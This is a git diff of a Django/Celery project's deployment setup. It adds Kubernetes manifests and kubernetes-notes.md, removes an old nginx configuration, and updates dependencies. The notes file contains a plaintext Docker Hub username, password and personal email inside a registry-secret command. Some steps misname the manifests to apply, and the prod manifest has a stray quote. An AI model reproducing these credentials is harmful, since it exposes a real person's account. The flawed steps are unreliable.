+TWILIO_NUMBER = + + +# sendgrid configs +SENDGRID_API_KEY = +DEFAULT_TEMPLATE = +DEFAULT_TEMPLATE_NO_BUTTON = +AUTOMATION_TEMPLATE = + + + +# slack credentials +SLACK_APP_ID = +SLACK_CLIENT_ID = +SLACK_CLIENT_SECRET = +SLACK_SIGNING_SECRET = +SLACK_VERIFICATION_TOKEN = +SLACK_BOT_TOKEN = + + +# s3 remote storage credentials +AWS_ACCESS_KEY_ID = +AWS_SECRET_ACCESS_KEY = +AWS_STORAGE_BUCKET_NAME = storage-scanerr # example +AWS_S3_REGION_NAME = sfo3 # example +AWS_S3_ENDPOINT_URL = https://sfo3.digitaloceanspaces.com # example +AWS_S3_URL_PATH = https://storage-scanerr.sfo3.digitaloceanspaces.com # example +AWS_LOCATION = static +AWS_DEFAULT_ACL = public-read \ No newline at end of file diff --git a/env/.env.staging.proxy-companion b/env/.env.staging.proxy-companion deleted file mode 100644 index c51fdd4f..00000000 --- a/env/.env.staging.proxy-companion +++ /dev/null @@ -1,3 +0,0 @@ -DEFAULT_EMAIL=youremail@yourdomain.com -ACME_CA_URI=https://acme-staging-v02.api.letsencrypt.org/directory -NGINX_PROXY_CONTAINER=nginx-proxy \ No newline at end of file diff --git a/k8s/kubernetes-notes.md b/k8s/kubernetes-notes.md new file mode 100644 index 00000000..336cb823 --- /dev/null +++ b/k8s/kubernetes-notes.md @@ -0,0 +1,84 @@ +### Create k8s files in yaml (kompose) +```shell +kompose convert -f docker-compose.yml -o ./k8s +``` + +### Build k8s +```shell +kubectl apply -f ./k8s/k8s-local.yaml +``` + +### Delete k8s +```shell +kubectl delete -f ./k8s/k8s-local.yaml +``` + +### List containers +```shell +kubectl get pod +``` + +### List pods with IPs +```shell +kubectl get pod -o wide +``` + +### To get all creation events for debugging: +```shell +kubectl get events --sort-by=.metadata.creationTimestamp +``` + +### SSH into container: +```shell +kubectl exec -it celery-849f76858b-bvmqg -- /bin/sh +``` + +### Creating secrets for docker: +```shell +kubectl create secret docker-registry regcred --docker-server=https://index.docker.io/v1/ --docker-username=landonr --docker-password=Ljr500103! --docker-email=l.rodden52@gmail.com +``` + +#### - Then add this to both celery and app containers: +```yaml +spec: + imagePullSecrets: + - name: regcred +``` + +### Start and Stop minikube +```shell +minikube start +minikube stop +``` + +### Port Forwarding for app +```shell +kubectl port-forward service/app-service 8000:8000 +``` + + + +## Setps to Deploy localy +1. ensure minikube is running + - ``` minikube status ``` +2. create secrets for app image pull from docker + - ``` kubectl create secret docker-registry regcred --docker-server=https://index.docker.io/v1/ --docker-username=landonr --docker-password=Ljr500103! --docker-email=l.rodden52@gmail.com ``` +3. build db-configs-configs + - ``` kubectl apply db-configs.yaml ``` +4. build db-deployment + - ``` kubectl apply db-deployment.yaml ``` +5. build redis-deployment +6. get pod ip of db-deployment + - ``` kubectl get pod --template '{{.status.podIP}}' ``` + - or ``` kubectl get pod -o wide ``` +7. copy ip and paste into app-configs-configs for field "DB_HOST" +8. build app-configs + - ``` kubectl apply app-config.yaml ``` +9. build app-deployment + - ``` kubectl apply db-deployment.yaml ``` +10. build celery-deployment + - ``` kubectl apply db-deployment.yaml ``` +11. port forwarding to app deployment + - ``` kubectl port-forward service/app-service 8000:8000 ``` + + \ No newline at end of file diff --git a/k8s/local/app-deployment.yaml b/k8s/local/app-deployment.yaml new file mode 100644 index 00000000..36be9020 --- /dev/null +++ b/k8s/local/app-deployment.yaml @@ -0,0 +1,59 @@ +apiVersion: apps/v1 +kind: Deployment +metadata: + name: app-deployment +spec: + replicas: 1 + selector: + matchLabels: + app: app + template: + metadata: + labels: + app: app + spec: + imagePullSecrets: + - name: regcred + containers: + - name: app + image: landonr/scanerr-server + imagePullPolicy: IfNotPresent + ports: + - containerPort: 8000 + command: + - "sh" + - "-c" + - > + python3 manage.py wait_for_db && + python3 manage.py makemigrations --no-input && + python3 manage.py migrate --no-input && + python3 manage.py collectstatic --no-input && + python3 manage.py create_admin && + python3 manage.py driver_s_test && + python3 manage.py driver_p_test && + python3 manage.py runserver 0.0.0.0:8000 + envFrom: + - configMapRef: + name: app-configs + resources: + limits: + cpu: "1" + memory: "1Gi" + requests: + cpu: "500m" + memory: "500Mi" + +--- + +apiVersion: v1 +kind: Service +metadata: + name: app-service +spec: + selector: + app: app + ports: + - protocol: TCP + port: 8000 + targetPort: 8000 + type: NodePort diff --git a/k8s/local/celery-deployment.yaml b/k8s/local/celery-deployment.yaml new file mode 100644 index 00000000..64ed79e9 --- /dev/null +++ b/k8s/local/celery-deployment.yaml @@ -0,0 +1,32 @@ +apiVersion: apps/v1 +kind: Deployment +metadata: + name: celery-deployment +spec: + replicas: 1 + selector: + matchLabels: + app: celery + template: + metadata: + labels: + app: celery + spec: + imagePullSecrets: + - name: regcred + containers: + - name: celery + image: landonr/scanerr-server + imagePullPolicy: IfNotPresent + command: ["celery", "-A", "scanerr", "worker", "--beat", "--scheduler", "django", "--loglevel=info"] + envFrom: + - configMapRef: + name: app-configs + resources: + limits: + cpu: "1" + memory: "1Gi" + requests: + cpu: "500m" + memory: "500Mi" + diff --git a/k8s/local/db-deployment.yaml b/k8s/local/db-deployment.yaml new file mode 100644 index 00000000..beee6ddd --- /dev/null +++ b/k8s/local/db-deployment.yaml @@ -0,0 +1,50 @@ +apiVersion: apps/v1 +kind: Deployment +metadata: + name: db-deployment +spec: + replicas: 1 + selector: + matchLabels: + app: db + template: + metadata: + labels: + app: db + spec: + containers: + - name: db + image: postgres:10-alpine + ports: + - containerPort: 5432 + envFrom: + - configMapRef: + name: db-configs + volumeMounts: + - name: pgdata-volume + mountPath: /var/lib/postgresql/data + resources: + limits: + cpu: "500m" + memory: "500Mi" + requests: + cpu: "250m" + memory: "250Mi" + volumes: + - name: pgdata-volume + persistentVolumeClaim: + claimName: pgdata-pvc + +--- + +apiVersion: v1 +kind: Service +metadata: + name: db-service +spec: + selector: + app: db + ports: + - protocol: TCP + port: 5432 + type: NodePort diff --git a/k8s/local/persistentvolumeclaim.yaml b/k8s/local/persistentvolumeclaim.yaml new file mode 100644 index 00000000..7580530f --- /dev/null +++ b/k8s/local/persistentvolumeclaim.yaml @@ -0,0 +1,10 @@ +apiVersion: v1 +kind: PersistentVolumeClaim +metadata: + name: pgdata-pvc +spec: + accessModes: + - ReadWriteOnce + resources: + requests: + storage: 1Gi diff --git a/k8s/local/redis-deployment.yaml b/k8s/local/redis-deployment.yaml new file mode 100644 index 00000000..03f93c59 --- /dev/null +++ b/k8s/local/redis-deployment.yaml @@ -0,0 +1,50 @@ +apiVersion: apps/v1 +kind: Deployment +metadata: + labels: + service: redis + name: redis +spec: + replicas: 1 + selector: + matchLabels: + service: redis + strategy: {} + template: + metadata: + labels: + service: redis + spec: + restartPolicy: Always + containers: + - image: redis:alpine + name: redis + ports: + - containerPort: 6379 + resources: + limits: + cpu: "250m" + memory: "250Mi" + requests: + cpu: "100m" + memory: "100Mi" +status: {} + + + +--- + +apiVersion: v1 +kind: Service +metadata: + labels: + service: redis + name: redis +spec: + ports: + - name: "6379" + port: 6379 + targetPort: 6379 + selector: + service: redis + diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml new file mode 100644 index 00000000..c91eb55a --- /dev/null +++ b/k8s/prod/app-deployment.yaml @@ -0,0 +1,59 @@ +apiVersion: apps/v1 +kind: Deployment +metadata: + name: app-deployment +spec: + replicas: 1 + selector: + matchLabels: + app: app + template: + metadata: + labels: + app: app + spec: + imagePullSecrets: + - name: regcred + containers: + - name: app + image: landonr/scanerr-server + imagePullPolicy: IfNotPresent + ports: + - containerPort: 8000 + command: + - "sh" + - "-c" + - > + python3 manage.py wait_for_db && + python3 manage.py makemigrations --no-input && + python3 manage.py migrate --no-input && + python3 manage.py collectstatic --no-input && + python3 manage.py create_admin && + python3 manage.py driver_s_test && + python3 manage.py driver_p_test && + gunicorn --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000" + envFrom: + - configMapRef: + name: app-configs + resources: + limits: + cpu: "1" + memory: "1Gi" + requests: + cpu: "500m" + memory: "500Mi" + +--- + +apiVersion: v1 +kind: Service +metadata: + name: app-service +spec: + selector: + app: app + ports: + - protocol: TCP + port: 8000 + targetPort: 8000 + type: NodePort diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml new file mode 100644 index 00000000..64ed79e9 --- /dev/null +++ b/k8s/prod/celery-deployment.yaml @@ -0,0 +1,32 @@ +apiVersion: apps/v1 +kind: Deployment +metadata: + name: celery-deployment +spec: + replicas: 1 + selector: + matchLabels: + app: celery + template: + metadata: + labels: + app: celery + spec: + imagePullSecrets: + - name: regcred + containers: + - name: celery + image: landonr/scanerr-server + imagePullPolicy: IfNotPresent + command: ["celery", "-A", "scanerr", "worker", "--beat", "--scheduler", "django", "--loglevel=info"] + envFrom: + - configMapRef: + name: app-configs + resources: + limits: + cpu: "1" + memory: "1Gi" + requests: + cpu: "500m" + memory: "500Mi" + diff --git a/k8s/prod/redis-deployment.yaml b/k8s/prod/redis-deployment.yaml new file mode 100644 index 00000000..03f93c59 --- /dev/null +++ b/k8s/prod/redis-deployment.yaml @@ -0,0 +1,50 @@ +apiVersion: apps/v1 +kind: Deployment +metadata: + labels: + service: redis + name: redis +spec: + replicas: 1 + selector: + matchLabels: + service: redis + strategy: {} + template: + metadata: + labels: + service: redis + spec: + restartPolicy: Always + containers: + - image: redis:alpine + name: redis + ports: + - containerPort: 6379 + resources: + limits: + cpu: "250m" + memory: "250Mi" + requests: + cpu: "100m" + memory: "100Mi" +status: {} + + + +--- + +apiVersion: v1 +kind: Service +metadata: + labels: + service: redis + name: redis +spec: + ports: + - name: "6379" + port: 6379 + targetPort: 6379 + selector: + service: redis + diff --git a/nginx/custom.conf b/nginx/custom.conf index a466e70f..ebe63395 100644 --- a/nginx/custom.conf +++ b/nginx/custom.conf @@ -1,2 +1,6 @@ client_max_body_size 10M; +proxy_ignore_client_abort on; +proxy_connect_timeout 1000s; +proxy_read_timeout 1000s; + diff --git a/nginx_old/Dockerfile b/nginx_old/Dockerfile deleted file mode 100644 index 8e5916e0..00000000 --- a/nginx_old/Dockerfile +++ /dev/null @@ -1,4 +0,0 @@ -FROM nginx:1.19.0-alpine - -RUN rm /etc/nginx/conf.d/default.conf -COPY nginx.conf /etc/nginx/conf.d \ No newline at end of file diff --git a/nginx_old/custom.conf b/nginx_old/custom.conf deleted file mode 100644 index ebabe511..00000000 --- a/nginx_old/custom.conf +++ /dev/null @@ -1,27 +0,0 @@ -upstream scanerr { - server app:8000; -} - -server { - - listen 80; - - location / { - proxy_pass http://scanerr; - proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; - proxy_set_header Host $host; - proxy_redirect off; - proxy_read_timeout 400s; - proxy_connect_timeout 100s; - } - - location /static/ { - alias /app/static/; - } - - client_body_timeout 100s; - uwsgi_read_timeout 500s; - keepalive_timeout 300s; - -} - diff --git a/nginx_old/docker-compose.prod_old.yml b/nginx_old/docker-compose.prod_old.yml deleted file mode 100644 index fb41781e..00000000 --- a/nginx_old/docker-compose.prod_old.yml +++ /dev/null @@ -1,61 +0,0 @@ -version: '3' - -services: - app: - build: - context: . - dockerfile: Dockerfile.prod - volumes: - - ./app:/app - - static_volume:/app/static - command: > - sh -c "python3 manage.py makemigrations && - python3 manage.py migrate && - python3 manage.py collectstatic --no-input && - python3 manage.py wait_for_db && - python3 manage.py create_admin && - python3 manage.py driver_test && - gunicorn scanerr.wsgi:application --bind 0.0.0.0:8000" - expose: - - 8000 - env_file: - - ./env/.env.prod - depends_on: - - db - - db: - image: postgres:10-alpine - env_file: - - ./env/.env.prod - volumes: - - pgdata:/var/lib/postgresql/data - - redis: - image: redis:alpine - - celery: - restart: always - build: - context: . - command: celery -A scanerr worker --beat --scheduler django --loglevel=info - volumes: - - ./app:/scanerr - env_file: - - ./env/.env.prod - depends_on: - - db - - redis - - app - - nginx: - build: ./nginx - ports: - - 80:8000 - depends_on: - - app - volumes: - - static_volume:/app/static - -volumes: - pgdata: - static_volume: \ No newline at end of file diff --git a/nginx_old/nginx.conf b/nginx_old/nginx.conf deleted file mode 100644 index ebabe511..00000000 --- a/nginx_old/nginx.conf +++ /dev/null @@ -1,27 +0,0 @@ -upstream scanerr { - server app:8000; -} - -server { - - listen 80; - - location / { - proxy_pass http://scanerr; - proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; - proxy_set_header Host $host; - proxy_redirect off; - proxy_read_timeout 400s; - proxy_connect_timeout 100s; - } - - location /static/ { - alias /app/static/; - } - - client_body_timeout 100s; - uwsgi_read_timeout 500s; - keepalive_timeout 300s; - -} - diff --git a/nginx_old/vhost.d/default b/nginx_old/vhost.d/default deleted file mode 100644 index c498447b..00000000 --- a/nginx_old/vhost.d/default +++ /dev/null @@ -1,9 +0,0 @@ - -location /static/ { - alias /app/static/; - add_header Access-Control-Allow-Origin *; -} - - - - diff --git a/requirements.txt b/requirements.txt index f240e00a..df9fe6b2 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,6 +1,7 @@ amqp==5.0.6 asgiref==3.3.4 billiard==3.6.4.0 +boto3==1.20.32 celery==5.1.0 certifi==2021.5.30 chardet==4.0.0 @@ -12,30 +13,44 @@ Django==3.2.3 django-celery-beat==2.2.0 django-filter==2.4.0 djangorestframework==3.12.4 +django-markdownify==0.9.0 +django-cors-headers==3.7.0 +django-storages==1.12.3 +djangorestframework-simplejwt==4.7.2 docker==5.0.0 gunicorn==20.1.0 humanize==3.7.0 idna==2.10 kombu==5.1.0 Markdown==3.3.4 +numpy==1.22.3 +opencv-python==4.5.5.64 +Pillow==9.0.0 prometheus-client==0.8.0 prompt-toolkit==3.0.18 psycopg2==2.8.6 +pyjwt==2.1.0 +pyppeteer==1.0.2 pytz==2021.1 redis==3.5.3 requests==2.25.1 -selenium==3.141.0 +reportlab==3.6.6 +scipy==1.8.0 +selenium==4.1.3 +sendgrid==6.9.7 +sewar==0.4.4 six==1.16.0 +slack-sdk==3.11.2 sqlparse==0.4.1 +stripe==2.60.0 tornado==6.1 +twilio==7.3.0 urllib3==1.26.5 vine==5.0.0 wcwidth==0.2.5 websocket-client==1.0.1 -django-cors-headers==3.7.0 -pyjwt==2.1.0 -djangorestframework-simplejwt==4.7.2 -stripe==2.60.0 -twilio==7.3.0 -slack-sdk==3.11.2 -django-markdownify==0.9.0 \ No newline at end of file +whitenoise==6.1.0 + + + +
- Scanerr Inc, 123 Tech Road, San Francisco CA + Scanerr, San Antonio TX